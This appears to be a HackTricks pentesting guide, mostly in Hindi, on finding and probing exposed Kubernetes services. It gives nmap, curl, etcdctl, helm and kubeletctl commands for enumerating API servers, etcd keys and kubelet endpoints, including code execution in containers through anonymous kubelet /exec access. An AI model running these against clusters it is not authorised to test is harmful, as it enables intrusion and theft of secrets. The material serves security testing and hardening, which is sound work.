Pentesting Kubernetes Services
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Kubernetes कई विशिष्ट नेटवर्क सेवाओं का उपयोग करता है जिन्हें आप इंटरनेट पर या एक आंतरिक नेटवर्क में पा सकते हैं जब आप एक पोड को समझौता कर लेते हैं।
OSINT के साथ एक्सपोज़ किए गए पोड्स को खोजना
एक तरीका Identity LIKE "k8s.%.com"
को crt.sh में खोजने का हो सकता है ताकि kubernetes से संबंधित उपडोमेन मिल सकें। एक और तरीका "k8s.%.com"
को github में खोजने और उस स्ट्रिंग को शामिल करने वाले YAML फ़ाइलों की खोज करना हो सकता है।
Kubernetes सेवाओं को कैसे एक्सपोज़ करता है
यह आपके लिए समझना उपयोगी हो सकता है कि Kubernetes कैसे सेवाओं को सार्वजनिक रूप से एक्सपोज़ कर सकता है ताकि आप उन्हें खोज सकें:
Exposing Services in Kubernetes
पोर्ट स्कैनिंग के माध्यम से एक्सपोज़ किए गए पोड्स को खोजना
Kubernetes क्लस्टर में निम्नलिखित पोर्ट खुले हो सकते हैं:
Port | Process | Description |
---|---|---|
443/TCP | kube-apiserver | Kubernetes API port |
2379/TCP | etcd | |
6666/TCP | etcd | etcd |
4194/TCP | cAdvisor | Container metrics |
6443/TCP | kube-apiserver | Kubernetes API port |
8443/TCP | kube-apiserver | Minikube API port |
8080/TCP | kube-apiserver | Insecure API port |
10250/TCP | kubelet | HTTPS API which allows full mode access |
10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
10256/TCP | kube-proxy | Kube Proxy health check server |
9099/TCP | calico-felix | Health check server for Calico |
6782-4/TCP | weave | Metrics and endpoints |
30000-32767/TCP | NodePort | Proxy to the services |
44134/TCP | Tiller | Helm service listening |
Nmap
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
Kube-apiserver
यह API Kubernetes सेवा है जिसके साथ प्रशासक आमतौर पर kubectl
उपकरण का उपयोग करके बात करते हैं।
सामान्य पोर्ट: 6443 और 443, लेकिन मिनीक्यूब में 8443 और असुरक्षित के रूप में 8080 भी।
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
इस सेवा से संवेदनशील डेटा प्राप्त करने और संवेदनशील क्रियाएँ करने के लिए निम्नलिखित पृष्ठ की जांच करें:
Kubelet API
यह सेवा क्लस्टर के हर नोड में चलती है। यह सेवा नोड के अंदर पॉड्स को नियंत्रित करेगी। यह kube-apiserver के साथ बात करती है।
यदि आप इस सेवा को उजागर पाते हैं, तो आप एक अनधिकृत RCE पा सकते हैं।
Kubelet API
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
यदि प्रतिक्रिया Unauthorized
है, तो इसके लिए प्रमाणीकरण की आवश्यकता है।
यदि आप नोड्स की सूची बना सकते हैं, तो आप kubelets के एंडपॉइंट्स की सूची प्राप्त कर सकते हैं:
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
kubelet (केवल पढ़ने के लिए)
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
टिलर
helm --host tiller-deploy.kube-system:44134 version
आप इस सेवा का दुरुपयोग करके Kubernetes के अंदर विशेषाधिकार बढ़ा सकते हैं:
cAdvisor
मेट्रिक्स इकट्ठा करने के लिए उपयोगी सेवा।
curl -k https://<IP Address>:4194
NodePort
जब एक पोर्ट सभी नोड्स में NodePort के माध्यम से खोला जाता है, तो वही पोर्ट सभी नोड्स में ट्रैफ़िक को घोषित Service में प्रॉक्सीफाई करते हुए खोला जाता है। डिफ़ॉल्ट रूप से, यह पोर्ट 30000-32767 की रेंज में होगा। इसलिए नए अनियंत्रित सेवाएँ उन पोर्ट्स के माध्यम से सुलभ हो सकती हैं।
sudo nmap -sS -p 30000-32767 <IP>
Vulnerable Misconfigurations
Kube-apiserver Anonymous Access
Anonymous access to kube-apiserver API endpoints is not allowed. But you could check some endpoints:
ETCD Anonymous Access की जांच करना
ETCD क्लस्टर के रहस्यों, कॉन्फ़िगरेशन फ़ाइलों और अधिक संवेदनशील डेटा को संग्रहीत करता है। डिफ़ॉल्ट रूप से, ETCD कोई गुमनाम रूप से पहुँच नहीं सकता, लेकिन हमेशा जांचना अच्छा होता है।
यदि ETCD को गुमनाम रूप से पहुँचा जा सकता है, तो आपको उपयोग करने की आवश्यकता हो सकती है etcdctl उपकरण। निम्नलिखित कमांड सभी कुंजी प्राप्त करेगा:
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Kubelet RCE
The Kubelet documentation बताता है कि डिफ़ॉल्ट रूप से गुमनाम पहुँच सेवा के लिए अनुमति है:
Kubelet सर्वर के लिए गुमनाम अनुरोधों को सक्षम करता है। अनुरोध जो किसी अन्य प्रमाणीकरण विधि द्वारा अस्वीकृत नहीं होते हैं, उन्हें गुमनाम अनुरोधों के रूप में माना जाता है। गुमनाम अनुरोधों का उपयोगकर्ता नाम
system:anonymous
होता है, और समूह का नामsystem:unauthenticated
होता है।
Kubelet API के प्रमाणीकरण और प्राधिकरण के काम करने के तरीके को बेहतर समझने के लिए इस पृष्ठ को देखें:
Kubelet Authentication & Authorization
Kubelet सेवा API का दस्तावेज़ नहीं है, लेकिन स्रोत कोड यहाँ पाया जा सकता है और उजागर किए गए एंडपॉइंट्स को चलाने के रूप में खोजना आसान है:
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
सभी दिलचस्प लगते हैं।
आप Kubeletctl टूल का उपयोग Kubelets और उनके एंडपॉइंट्स के साथ इंटरैक्ट करने के लिए कर सकते हैं।
/pods
यह एंडपॉइंट पॉड्स और उनके कंटेनरों की सूची देता है:
kubeletctl pods
/exec
यह एंडपॉइंट किसी भी कंटेनर के अंदर कोड को बहुत आसानी से निष्पादित करने की अनुमति देता है:
kubeletctl exec [command]
note
इस हमले से बचने के लिए kubelet सेवा को --anonymous-auth false
के साथ चलाना चाहिए और सेवा को नेटवर्क स्तर पर अलग किया जाना चाहिए।
Kubelet (पढ़ने के लिए केवल पोर्ट) जानकारी का प्रदर्शन जांचना
जब kubelet पढ़ने के लिए केवल पोर्ट को उजागर किया जाता है, तो यह अनधिकृत पक्षों द्वारा API से जानकारी प्राप्त करना संभव हो जाता है। इस पोर्ट का प्रदर्शन विभिन्न क्लस्टर कॉन्फ़िगरेशन तत्वों के खुलासे का कारण बन सकता है। हालांकि जानकारी, जिसमें पॉड नाम, आंतरिक फ़ाइलों के स्थान, और अन्य कॉन्फ़िगरेशन शामिल हैं, महत्वपूर्ण नहीं हो सकती, फिर भी इसका प्रदर्शन सुरक्षा जोखिम पैदा करता है और इससे बचना चाहिए।
इस भेद्यता का शोषण करने का एक उदाहरण एक दूरस्थ हमलावर द्वारा एक विशिष्ट URL तक पहुंचना है। http://<external-IP>:10255/pods
पर नेविगेट करके, हमलावर संभावित रूप से kubelet से संवेदनशील जानकारी प्राप्त कर सकता है:
संदर्भ
Kubernetes Pentest Methodology Part 2
Threats & Research Archives - F-Secure Blog
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।